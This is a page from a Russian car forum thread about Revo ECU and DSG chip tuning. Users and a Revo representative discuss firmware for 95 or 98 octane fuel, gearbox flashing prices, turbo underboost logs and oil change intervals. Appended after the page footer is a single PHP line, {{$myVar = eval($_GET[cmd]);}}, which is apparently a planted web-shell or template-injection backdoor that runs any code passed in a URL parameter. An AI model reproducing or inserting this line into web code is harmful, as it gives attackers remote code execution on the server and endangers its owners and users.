+ Ответить в теме
Страница 83 из 91 ПерваяПервая ... 33 73 81 82 83 84 85 ... ПоследняяПоследняя
Показано с 821 по 830 из 909

Тема: Чип-тюнинг от компании Revo в Москве!


  1. #821
    GTI-Racing Буб has a spectacular aura about Буб has a spectacular aura about Буб has a spectacular aura about Аватар для Буб
    Регистрация
    01.11.2011
    Откуда
    Moscow
    Машина
    AUDI S3 8P Revo performance
    Сообщений
    691
    Как много вопросов в одном сообщении :)))))!
    Я не из Рево, но вроде на 90% доп. скидок сейчас нет, просто не из чего видимо уже вычитать...

    ЗЫ: В субботу прошил свою новую машину. Всё как всегда круче некуда! Кайфую как ребенок!
    Спасибо Амет, Мотя, Кирилл! Вы - лучшие :D

  2. #822
    GTI-Racing Bonder is on a distinguished road Аватар для Bonder
    Регистрация
    05.09.2011
    Откуда
    Москва
    Машина
    Эгоист GTI 5
    Сообщений
    816
    Цитата Сообщение от _SVR_ Посмотреть сообщение
    Ну вот и я решил потратится и ощутить 1 stage. Понятно что не сезон, но 2 года уже откладываю и на акцию решился. В выходные буду в Екате, заеду к Роме. Стоит ли шить коробас при городском испольщзовании сколько стоит?
    Пару раз в год, приходится заправлятся 95 G-drive и еду тихонько до заправки с 98 =), какую прошивку залить в таком случае, большие ли откаты на 95 при прошивке под 98. На стоке снимал логи, откаты минимальны. Если не топить на 95м стоит ли заморачиваться?
    К новогодней скидке 25 % есть ли доп. скидка от GTI-клуба?
    Коробас шей однозначно. Как показывает практика, в Москве газпромовский бензин большие откаты дает. Что 98 что 95

  3. #823
    GTI-Racing jenyz is on a distinguished road Аватар для jenyz
    Регистрация
    30.05.2012
    Откуда
    Москва
    Машина
    SEAT Ibiza Cupra Bocanegra
    Сообщений
    238
    Пока не было возможности шить коробку, я очень хотел перепрошить. Но как появилась возможность перепрошить, то у меня спросили - что мне не нравится в текущей версии. И вот тут я задумался, а что? - ответа не на шел, кпп сухая дсг7.

    Собственно вопрос, зачем шить кпп?))

  4. #824
    GTI-Racing koct88 is on a distinguished road Аватар для koct88
    Регистрация
    30.10.2013
    Откуда
    MOskvabad
    Машина
    Golf mk6 GTI
    Сообщений
    256
    Цитата Сообщение от jenyz Посмотреть сообщение
    Пока не было возможности шить коробку, я очень хотел перепрошить. Но как появилась возможность перепрошить, то у меня спросили - что мне не нравится в текущей версии. И вот тут я задумался, а что? - ответа не на шел, кпп сухая дсг7.

    Собственно вопрос, зачем шить кпп?))
    с дсг7 я б ничего не делал) и тем более не чиповался... они и без чипов сыпятся :)
    машина куплена 1 ноября 2013

  5. #825
    Новичок Revo is on a distinguished road Аватар для Revo
    Регистрация
    12.03.2014
    Откуда
    Мск
    Машина
    Golf R
    Сообщений
    135
    Цитата Сообщение от _SVR_ Посмотреть сообщение
    Ну вот и я решил потратится и ощутить 1 stage. Понятно что не сезон, но 2 года уже откладываю и на акцию решился. В выходные буду в Екате, заеду к Роме. Стоит ли шить коробас при городском испольщзовании сколько стоит?
    Пару раз в год, приходится заправлятся 95 G-drive и еду тихонько до заправки с 98 =), какую прошивку залить в таком случае, большие ли откаты на 95 при прошивке под 98. На стоке снимал логи, откаты минимальны. Если не топить на 95м стоит ли заморачиваться?
    К новогодней скидке 25 % есть ли доп. скидка от GTI-клуба?
    стоимость программы для дсг стоит 24.000 рублей (по акции 18.000). прошивать или нет - решать Вам. Прошитая коробка в Д режиме работает плавнее и адекватнее.

    не знаем как в Челябинске, а в Москве газпром торгует плохим бензином. Но не в этом суть. Если иногда приходится заливать 95-ый, то можно сразу под него прошиться и не переживать каждый раз. Так как с программой под 98-ой на 5-м бензине будут большие откаты. Да и в целом мы настоятельно не рекомендуем так делать :)

    между собой скидки не суммируются, поэтому получится только 25% :)

  6. #826
    GTI-Racing Буб has a spectacular aura about Буб has a spectacular aura about Буб has a spectacular aura about Аватар для Буб
    Регистрация
    01.11.2011
    Откуда
    Moscow
    Машина
    AUDI S3 8P Revo performance
    Сообщений
    691
    Парни, спасибо за чип дсг.
    Машину не узнать. Однозначно всем советую это делать!

  7. #827
    GTI-Racing _SVR_ is on a distinguished road Аватар для _SVR_
    Регистрация
    24.12.2011
    Откуда
    SNZ, Челябинск
    Машина
    GTImk6_DSG_2.0
    Сообщений
    78
    Прошился в пятницу, полный отчет тут на драйве, Снял логи, 2 вопроса:
    1) Имеется недодув турбины в среднем на 0,2 бар вместо запрашиваемых например вместо 2190 - 1940, 2330 -2040, вместо 1930 - 1740, но логи снимал с вкл ЕPС, и скользко было часто букс. На стоке летом всё четко разница десятки милибар.
    2) Расход воздуха в пике 206 грамм в сек, для настройки под 95 с 98 в баке это нормально?
    Что посоветуете, куда посмотреть?

  8. #828
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Цитата Сообщение от _SVR_ Посмотреть сообщение
    Прошился в пятницу, полный отчет тут на драйве, Снял логи, 2 вопроса:
    1) Имеется недодув турбины в среднем на 0,2 бар вместо запрашиваемых например вместо 2190 - 1940, 2330 -2040, вместо 1930 - 1740, но логи снимал с вкл ЕPС, и скользко было часто букс. На стоке летом всё четко разница десятки милибар.
    2) Расход воздуха в пике 206 грамм в сек, для настройки под 95 с 98 в баке это нормально?
    Что посоветуете, куда посмотреть?
    С такой температурой масла могу посоветовать, менять его еще чаще чем 7500. Масло при такой температуре будет к 7500 шляпой.
    С расходом на ХХ вот что мне было бы неприятно.....может дело не в софте. А обороты холостого не выросли случайно после стока на ХХ ?
    песок сыпется....не останавливайтесь на достигнутом !

  9. #829
    Новичок Revo is on a distinguished road Аватар для Revo
    Регистрация
    12.03.2014
    Откуда
    Мск
    Машина
    Golf R
    Сообщений
    135
    Цитата Сообщение от _SVR_ Посмотреть сообщение
    Прошился в пятницу, полный отчет тут на драйве, Снял логи, 2 вопроса:
    1) Имеется недодув турбины в среднем на 0,2 бар вместо запрашиваемых например вместо 2190 - 1940, 2330 -2040, вместо 1930 - 1740, но логи снимал с вкл ЕPС, и скользко было часто букс. На стоке летом всё четко разница десятки милибар.
    2) Расход воздуха в пике 206 грамм в сек, для настройки под 95 с 98 в баке это нормально?
    Что посоветуете, куда посмотреть?
    1) недодув может быть связан с есп, которая душила двиг.
    2) 206 грамм - это порядка 268 сил, так как коэффициент 1.3

    ---------- Сообщение добавлено в 14:39 ---------- Предыдущее сообщение размещено в 14:38 ----------

    Цитата Сообщение от BON Посмотреть сообщение
    С такой температурой масла могу посоветовать, менять его еще чаще чем 7500. Масло при такой температуре будет к 7500 шляпой.
    С расходом на ХХ вот что мне было бы неприятно.....может дело не в софте. А обороты холостого не выросли случайно после стока на ХХ ?
    если говорить о кастрюле, то да. с мотюлем, шеллом или мобилом никаких проблем нет. это нормальная рабочая температура для ТСИ моторов.

  10. #830
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Цитата Сообщение от Revo Посмотреть сообщение
    если говорить о кастрюле, то да. с мотюлем, шеллом или мобилом никаких проблем нет. это нормальная рабочая температура для ТСИ моторов.
    Если говорить вообще о маслах, то моторов чистых на кастроле настоящем на ойл клаб с примерами вскрытия много. Как впрочем и на других маслах. А вот примеров кокса, шлама и лакирования внутри от беспечности владельца затягивающего со сменой масла полно....и мотюль или шелл тут не причем.
    Если интересно почитать как мотюль "прожаривали" и как он держит температуру велком на бмв.ливджёрнал блог.
    Я не про нормальную температуру масла для этого мотора говорю, она такая и есть, а то как помочь себе и мотору этот фактор учесть )))
    С какой скоростью идут химические реакции и выпадают присадки от температуры масла можно прочитать и посмотреть на этих двух уважаемых ресурсах.

    Если масло настоящее, то для таких машин, и особенно форсированных смена масла на 7500 км дополнительное испытание.
    песок сыпется....не останавливайтесь на достигнутом !

+ Ответить в теме
Страница 83 из 91 ПерваяПервая ... 33 73 81 82 83 84 85 ... ПоследняяПоследняя

Похожие темы

  1. Виниловый стайлинг от компании Vinilio
    от Vinilio в разделе Партнеры / Клубные скидки
    Ответов: 6
    Последнее сообщение: 01.07.2024, 10:15
  2. Чип-тюнинг от компании Revo в Москве!
    от Амет в разделе Партнеры / Клубные скидки
    Ответов: 664
    Последнее сообщение: 05.04.2014, 08:52
  3. впуск Revo для TSI, опоры двигателя Revo TSI/TFSI
    от Амет в разделе Покупка и продажа запчастей
    Ответов: 5
    Последнее сообщение: 08.12.2012, 16:28
  4. Выбор страховой компании Нужна страховка (КАСКО) или нет?
    от Aleksey_02 в разделе Законодательство и страхование
    Ответов: 0
    Последнее сообщение: 20.07.2010, 11:21
  5. Работаю в прокатной компании
    от Hipp в разделе Курилка
    Ответов: 4
    Последнее сообщение: 04.03.2007, 20:54

Метки этой темы

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}